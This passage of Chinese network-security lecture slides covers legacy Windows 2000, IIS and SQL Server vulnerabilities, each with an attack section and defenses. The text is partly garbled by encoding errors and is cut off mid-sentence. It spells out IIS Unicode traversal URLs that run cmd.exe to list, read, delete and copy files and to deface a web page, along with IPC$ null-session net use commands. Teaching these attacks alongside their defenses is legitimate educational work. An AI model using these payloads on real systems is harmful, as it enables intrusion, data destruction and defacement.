35、中，默認(rèn)情況下同時安裝了各種簡體中文輸入法。而Microsoft自Windows 2000開始，支持中文用戶名。這些隨系統(tǒng)裝入的輸入法可以在系統(tǒng)登錄界面中使用，以便用戶能使用基于中文字符的用戶標(biāo)識和密碼登錄到系統(tǒng)，理論上，在未登陸情況下，應(yīng)限制提供給用戶的系統(tǒng)功能。然而，在SP2補(bǔ)丁以前，默認(rèn)安裝的情況下，Windows 2000中的簡體中文輸入法不能正確地檢測當(dāng)前的狀態(tài)，導(dǎo)致在系統(tǒng)登錄界面中提供了不應(yīng)有的功能。進(jìn)而，一些別有用心的用戶可以通過直接操作該系統(tǒng)的登陸界面得到當(dāng)前系統(tǒng)權(quán)限，運(yùn)行其選擇的代碼，更改系統(tǒng)配置，新建用戶，添加或刪除系統(tǒng)服務(wù)，添加、更改或刪除數(shù)據(jù)，或執(zhí)行其他非法操作。,66

36、,2.攻擊實現(xiàn) 針對輸入法漏洞的攻擊有本地和遠(yuǎn)程兩種攻擊方式，這種攻擊方式可以使本地用戶繞過身份驗證機(jī)制進(jìn)入系統(tǒng)內(nèi)部。 針對輸入法漏洞的本地攻擊 針對輸入法漏洞的遠(yuǎn)程攻擊,67,3.防御方法 采取以下一些預(yù)防措施，可以有效杜絕黑客的攻擊: (1)給Windows 2000 打補(bǔ)丁到 SP4（如打補(bǔ)丁到 SP4不需要進(jìn)行第 2項操作）。 (2)刪除輸入法幫助文件和多余的輸入法。為了防止惡意用戶通過輸入法漏洞對服務(wù)器進(jìn)行攻擊，刪除不需要的輸入法和輸入法的幫助文件。這些幫助文件通常在 Windows 2000的安裝目錄下（如:C:Windows）的Help目錄下，對應(yīng)的幫助文件分別是: Window

37、sime.chm 輸入法操作指南； Windowssp.chm 雙拼輸入法幫助； Windowszm.chm 鄭碼輸入法幫助。 (3)防止別人惡意利用net.exe，可以考慮將其移出c:winntsystem32目錄，或者改名。但自己應(yīng)記住更改的目錄或新的文件名。,68,4.4.2 IPC$攻擊與防御,1.漏洞描述 IPC$(Internet Process Connection）是共享“命名管道”的資源，它是為了讓進(jìn)程間通信而開放的命名管道，通過提供可信任的用戶名和口令，連接雙方可以建立安全的通道并以此通道進(jìn)行加密數(shù)據(jù)的交換，從而實現(xiàn)對遠(yuǎn)程計算機(jī)的訪問。 IPC$漏洞，其實IPC$本身并不是

38、一個真正意義上的漏洞，其主要漏洞在于其允許空會話（Null session）?？諘捠窃跊]有信任的情況下與服務(wù)器建立的會話（即未提供用戶名與密碼）。,69,2.攻擊實現(xiàn) 對于Windows NT系列的操作系統(tǒng)，在默認(rèn)安全設(shè)置下，借助空連接可以列舉目標(biāo)主機(jī)上的用戶和共享，訪問everyone權(quán)限的共享，訪問小部分注冊表等，但這對黑客來說并沒有什么太大的利用價值；對Windows2000作用更小，因為在 Windows 2000和以后版本中默認(rèn)只有管理員和備份操作員有權(quán)從網(wǎng)絡(luò)訪問到注冊表，而且實現(xiàn)起來也不方便，需借助工具。,70,單從上述描述來看，空會話好像并無多大用處，但從一次完整的IPC$入侵

39、來看，空會話是一個不可缺少的跳板，以下是空會話中能夠使用的一些具體命令。 (1)建立一個空會話（當(dāng)然，這需要目標(biāo)開放IPC$）。命令如下: net use ipipc$ /user:“ (2)查看遠(yuǎn)程主機(jī)的共享資源。命令如下: net view ip,71,(3)查看遠(yuǎn)程主機(jī)的當(dāng)前時間。命令如下: net time ip (4)得到遠(yuǎn)程主機(jī)的NetBIOS用戶名列表（需要打開自己的NBT）。命令如下: netstat A ip (5)刪除ipc$連接 net use ipipc$ /del,72,4.4.3 RPC（Remote Procedure Call）漏洞攻擊與防御,1.漏洞描述 遠(yuǎn)程

40、過程調(diào)用（Remote Procedure Call，簡稱 RPC）是一種協(xié)議，程序可使用這種協(xié)議向網(wǎng)絡(luò)中的另一臺計算機(jī)上的程序請求服務(wù)。由于使用RPC的程序不必了解支持通信的網(wǎng)絡(luò)協(xié)議的情況，因此，RPC提高了程序的互操作性。Microsoft的RPC部分在通過TCP/IP處理信息交換時存在問題，遠(yuǎn)程攻擊者可以利用這個漏洞以本地系統(tǒng)權(quán)限在系統(tǒng)上執(zhí)行任意指令。RPC漏洞是由于 Windows RPC服務(wù)在某些情況下不能正確檢查消息輸入而造成的。如果攻擊者在RPC建立連接后發(fā)送某種類型的格式不正確的RPC消息，則會導(dǎo)致遠(yuǎn)程計算機(jī)上與RPC之間的基礎(chǔ)分布式組件對象模型拒絕服務(wù)，分布式對象模型（DCO

41、M）是一種能夠使軟件組件通過網(wǎng)絡(luò)直接進(jìn)行通信的協(xié)議。 沖擊波（Worm.Blaster）病毒 和高波（Worm_Agobot）蠕蟲病毒也是針對此漏洞進(jìn)行傳播，造成大范圍危害。,73,2.攻擊實現(xiàn) 黑客也會利用此漏洞進(jìn)行攻擊，通過Retina(R)就可以很容易掃描一個網(wǎng)段存在RPC漏洞隱患的機(jī)器。,74,75,3.防御RPC漏洞 RPC采取以下一些措施可以有效防御RPC攻擊: (1)通過防火墻關(guān)閉135端口。 (2)更新最新補(bǔ)丁。,76,4.5 針對IIS漏洞攻擊技術(shù)與防御技術(shù),Microsoft IIS是允許在公共Intranet或Internet上發(fā)布信息的Web服務(wù)器，IIS可以提供HTT

42、P、FTP、gopher服務(wù)。 IIS本身的安全性能并不理想，漏洞層出不窮，如 MDAC弱點漏洞、idaidq漏洞、printer漏洞、Unicode編碼、目錄遍歷漏洞、WebDAV遠(yuǎn)程緩沖區(qū)溢出漏洞等，使得針對IIS服務(wù)器的攻擊事件頻頻發(fā)生。,77,4.5.1 Unicode漏洞攻擊與防御,1.漏洞分析 Unicode為一個ISO國際標(biāo)準(zhǔn)，它包含了世界各國的常用文字，可支持?jǐn)?shù)百萬個字碼。它的目的是統(tǒng)一世界各國的字符編碼。許多操作系統(tǒng)，最新的瀏覽器和其他產(chǎn)品都支持Unicode編碼。 IIS 4.0、IIS5.0在使用Unicode解碼時存在一個安全漏洞，導(dǎo)致用戶可以遠(yuǎn)程通過IIS 執(zhí)行任意命

43、令。當(dāng)用戶用IIS打開文件時，如果該文件名包含Unicode字符，系統(tǒng)會對其進(jìn)行解碼。如果用戶提供一些特殊的編碼請求，將導(dǎo)致IIS錯誤地打開或者執(zhí)行某些Web根目錄以外的文件。,78,Unicode漏洞影響的版本有:從中文Windows IIS 4.0SP6開始，還影響中文Windows2000IIS5.0、中文Windows 2000IIS5.S+SP1。繁體中文版也同樣存在這樣的漏洞。它們利用擴(kuò)展Unicode字符（如利用“./”取代“/”和“”）進(jìn)行目錄遍歷漏洞。“”在WindowsNT中編碼為%c1%9c，在 Windows 2000英文版中編碼為%c0%af。,79,2.漏洞攻擊 首

44、先介紹入侵者在入侵存在UNICODE漏洞的服務(wù)器時所涉及到的有關(guān)命令，其實有些命令和在DOS下使用的命令是一樣的，但如cd這一類命令則不可用。下面以02作為攻擊的目標(biāo)主機(jī)（存在UNICODE漏洞的服務(wù)器）介紹與UNICODE漏洞所涉及到的有關(guān)命令。,80,(1)dir命令 列出目標(biāo)計算機(jī)的目錄。在瀏覽器的地址欄中輸入如下內(nèi)容： 02/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+dir+c: (2)顯示下一個目錄 可在瀏覽器的地址欄中輸入如下內(nèi)容： 02/scrip

45、ts/.%c1%1c./winnt/system32/cmd.exe?/c+dir+c:Inetpub (3)type命令 顯示文件內(nèi)容?？梢栽跒g覽器中顯示txt、htm、asp等格式的內(nèi)容，如要顯示C盤下config.txt文件的內(nèi)容，可在瀏覽器的地址欄中輸入如下內(nèi)容： 02/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+type +c:config.txt (4)del命令 刪除文件命令。例如，要刪除C盤下的config.txt文件，可在瀏覽器的地址欄中輸入如下內(nèi)容： 02/scri

46、pts/.%c1%1c./winnt/system32/cmd.exe?/c+del +c:config.txt,81,(5)copy命令 復(fù)制指定文件或同時將該文件改名，例如將c盤Winntsystem32下的cmd.exe程序復(fù)制到C盤Inetpubscripts下，并改名為win.exe，可在瀏覽器的地址欄中輸入如下內(nèi)容： 02/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+copy+c:winntsystem32cm d.exe c:inetpubscriptswin.exe (6)echo命令 修改文件內(nèi)容，例

47、如修改主機(jī)c:inetpubwwwrootindex.html網(wǎng)頁內(nèi)容，可在瀏覽器的地址欄中輸入如下內(nèi)容： 02/scripts/.%c0%2f./winnt/system32/cmd.exe?/c+echo+內(nèi)容+c:inetpubwwwrootindex.html,82,3.防御辦法 在若系統(tǒng)存在Unicode漏洞，可采取如下方法進(jìn)行補(bǔ)救: (1)限制網(wǎng)絡(luò)用戶訪問和調(diào)用CMD命令的權(quán)限； (2)若沒必要使用SCRIPTS和MSADC目錄，將其全部刪除或改名； (3)安裝Windows NT系統(tǒng)時不要使用默認(rèn)winnt路徑，您可以改為其他的文件夾，如C:my

48、windowsnt； (4)用戶可從Microsoft網(wǎng)站安裝補(bǔ)丁。,83,4.5.2 IDAIDQ緩沖區(qū)溢出漏洞攻擊與防御,1.漏洞危害及成因 作為安裝IIS過程的一部分，系統(tǒng)還會安裝幾個ISAPI擴(kuò)展.dlls，其中 idq.dll是Index Server的一個組件，對管理員腳本和Internet數(shù)據(jù)查詢提供支持。但是，idq.dll在一段處理URL輸入的代碼中存在一個未經(jīng)檢查的緩沖區(qū)，攻擊者利用此漏洞能導(dǎo)致受影響服務(wù)器產(chǎn)生緩沖區(qū)溢出，從而執(zhí)行自己提供的代碼。更為嚴(yán)重的是，idq.dll是以 System身份運(yùn)行的，攻擊者可以利用此漏洞取得系統(tǒng)管理員權(quán)限。,84,2.攻擊實現(xiàn) 如同所有的

49、漏洞入侵過程一樣，先使用各種通用的漏洞掃描工具掃描出漏洞機(jī)器。然后到網(wǎng)絡(luò)上搜索針對該漏洞的利用工具，如溢出工具圖形界面的Snake IIS IDQ和命令行下的IIS idq或者Idq over等。 實例 利用Snake IIS IDQ工具進(jìn)行IDQ緩沖區(qū)溢出漏洞攻擊,85,對于IDAIDQ漏洞的防御方法主要是下載相應(yīng)補(bǔ)丁即可。,86,4.5.3 Pinter溢出漏洞入侵與防御,1.漏洞成因及危害 Windows 2000 IIS5的打印ISAPI擴(kuò)展接口建立了.printer擴(kuò)展名到msw3prt.dll的映射關(guān)系，缺省情況下該映射存在。當(dāng)遠(yuǎn)程用戶提交對.printer的URL請求時，IIS5

50、調(diào)用msw3prt.dll解釋該請求。由于msw3prt.dll缺乏足夠的緩沖區(qū)邊界檢查，遠(yuǎn)程用戶可以提交一個精心構(gòu)造的針對.printer的URL請求，其“Host:”域包含大約420字節(jié)的數(shù)據(jù)，此時在msw3prt.dll中發(fā)生典型的緩沖區(qū)溢出，潛在允許執(zhí)行任意代碼。溢出發(fā)生后，Web服務(wù)停止響應(yīng)，Win2K可以檢查到Web服務(wù)停止響應(yīng)，從而自動重啟它，因此，系統(tǒng)管理員很難意識到發(fā)生過攻擊。,87,2.攻擊實現(xiàn) 由于.printer漏洞只有 IIS5.0（Windows 2000 Server）存在，所以入侵者通過此漏洞入侵計算機(jī)只會針對IIS5.0進(jìn)行。 實例 利用.printer漏洞建

51、立管理員組用戶,88,3. 防御辦法 (1) 對于.printer溢出漏洞打相應(yīng)補(bǔ)丁。 (2) 手工刪除.printer，因為這個文件存在溢出漏洞。溢出漏洞是由于.printer后綴的腳本會輸送給msw3prt.dll，我們可以刪除.printer映射。在計算機(jī)的“控制面板”選擇“管理工具”下的“Internet服務(wù)管理器”，打開Web站點屬性對話框中的“主目錄”選項卡，單擊配置，找到.printer映射，如圖4-49所示，然后刪除即可。,89,4.6 Web應(yīng)用漏洞攻擊技術(shù)與防御技術(shù),1.Microsoft SQL Server空口令漏洞描述 Microsoft SQL Server是微軟的

52、關(guān)系數(shù)據(jù)庫產(chǎn)品。所謂空口令漏洞，實際上并不是一個漏洞，而是管理員配置上的疏忽。 在微軟的MS SQL-SERVER7.0以下的版本在默認(rèn)安裝時，其SA（System Administrator）賬戶口令為空，所開端口為 1433，一個入侵者只需要使用一個MS SQL客戶端與SA口令為空的服務(wù)器連接就可以獲得System的權(quán)限。,90,2.Microsoft SQL Server空口令攻擊實現(xiàn) 攻擊者可以使用MS SQL客戶端或是第三方客戶端連接工具將空口令服務(wù)器的數(shù)據(jù)庫導(dǎo)出、增加管理員等操作，GUI的SqlExec.exe就是其中一款。 實例 利用Microsoft SQL Server空口漏

53、洞建立后門賬號,91,3.漏洞防御 (1)確保你的SA登錄賬號的密碼非空。只有你的SA登錄賬號沒有安全保障的時候蠕蟲才會工作。因此，你應(yīng)該遵循在SQL Server聯(lián)機(jī)文檔中“系統(tǒng)管理員（SA）登錄”主題中的推薦模式，確保固有的SA賬號具有一個強(qiáng)壯的密碼，即使是你自己從不使用SA賬號。 (2)在你的互聯(lián)網(wǎng)網(wǎng)關(guān)或防火墻上屏蔽1433端口和/或指定SQL Server監(jiān)聽一個可選的端口。 (3)假如在你的互聯(lián)網(wǎng)網(wǎng)關(guān)上需要利用1433端口，啟動用于防止此端口濫用的流入/流出過濾。 (4)將SQLServer和SQL Server客戶端運(yùn)行在微軟的Windows NT賬號下，而不是localsyste

54、m。 (5)啟動Windows NT驗證，啟動監(jiān)聽成功和失敗的登錄，然后停止并重啟MSSQLServer服務(wù)。設(shè)置你的客戶端使用NT驗證。,92,4.6.2 Cookie攻擊,1. Cookie簡介 Cookie或稱Cookies，指某些網(wǎng)站為了辨別用戶身份而儲存在用戶本地終端上的數(shù)據(jù)（通常經(jīng)過加密）。用戶在登陸時，系統(tǒng)就保留了該用戶的Cookie信息。當(dāng)我們單擊進(jìn)入會員專區(qū)的時候，事實客戶端向服務(wù)器提交了本地Cookie信息，包括用戶名、密碼等。 有些網(wǎng)站存放用戶名和密碼的Cookie是明文的，黑客只要讀取Cookie文件就可以得到賬戶和密碼，有些Cookie是通過Md5加密的，用戶仍然可以通過破